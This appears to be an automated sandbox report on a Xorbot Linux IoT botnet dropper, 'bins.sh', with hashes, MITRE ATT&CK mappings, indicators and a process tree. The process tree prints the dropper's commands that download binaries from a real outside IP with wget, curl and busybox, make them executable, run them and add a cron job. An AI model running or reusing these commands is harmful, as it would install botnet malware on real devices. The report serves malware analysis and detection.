xorbot | 0bfa0c9ecd60657c9dee4a927bf6fb575c6593ec3756e9425642452749a3a40c

Analysis

max time kernel
149s
max time network
160s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/02/2025, 16:23

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General

Target

bins.sh
Size

10KB
MD5

e4ab9be0cf5c27c72b420fc606e0700a
SHA1

d3549211a3fdbd5e1fb153d2f7c711000b0339db
SHA256

0bfa0c9ecd60657c9dee4a927bf6fb575c6593ec3756e9425642452749a3a40c
SHA512

3e2b6dd99e8a0e4abc2a4a35a786de1d02d2b0fda5baa7390d53c70e31c978e62189d010741cc32d5bc5d613083cec1374501335a179f6fe533ff7170be7536b
SSDEEP

96:fHncM5hGDpc21Y8abkXx2tKbkE2h2tdRPWAxHnc6phGvpthLVY8xd:V5aG2+rQxG/CC

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1966) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
770	chmod
688	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	689	bins.sh
/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	771	bins.sh

Renames itself 1 IoCs

pid	Process
772	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.BlAyKX	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/17/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/854/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/924/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/964/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/980/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/995/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1091/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/817/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/828/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/845/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/878/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/26/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/806/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/955/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/970/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/989/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/20/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/818/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/830/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1002/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1041/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1051/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1100/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/822/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/926/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1073/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/808/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/874/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/912/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/920/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/999/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1004/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1023/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1049/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/15/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/789/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/802/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/865/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/885/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/954/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1060/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1070/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/859/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/962/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1027/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/823/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/850/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/961/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1006/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1018/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1025/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1082/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/206/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/923/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/997/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1020/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/815/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/10/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/19/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/104/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/968/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1088/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/1098/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	busybox
File opened for modification	/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	wget
File opened for modification	/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	curl
File opened for modification	/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	busybox
File opened for modification	/tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G	wget
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	wget
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:654
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://37.44.238.88/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  ./PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  PID:689
- /bin/rm
  rm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  PID:691
- /usr/bin/wget
  wget http://37.44.238.88/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - Writes file to tmp directory
  PID:692
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod 777 PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  ./PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:771
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:773
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:774
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:775
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:776
- /bin/rm
  rm PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  PID:778
- /usr/bin/wget
  wget http://37.44.238.88/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  - Writes file to tmp directory
  PID:781

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G

Filesize
12KB

MD5
52ada75fd996718b8b9bc34da16eef24

SHA1
d12ad65f90bf69998210811cbb938a7265da1481

SHA256
0d8fb1bdefaaecec5c364cd7de9fee4b858437104269904655f5525b3396a6ff

SHA512
6090176f681c151bb983e1dc4f5aa754e0dcf4d0d082e97a981055acec881c6a6da09062db0fe7bc95346b1b1ccd09813fadf51b06e0744e7c062f6c5f8f1361

Download Submit
/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.BlAyKX

Filesize
210B

MD5
70337ad935aa43cd14d49d17d2e97c95

SHA1
4bd37b55154c602f76a193ca431a5b822616930d

SHA256
9bb073a53d9f11e97cb19bf2fc65f6a47cbbf9d054624c9cf10b0958f08427fc

SHA512
0c67c323a19ee3eb33c39bc085f02b3cad48ffc3d8466508f62c66dbddff882cb1a4f13b4f27226f5066756dcd5b8b696bcfec86a5ce71fbb176dbcf678b3b7e

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads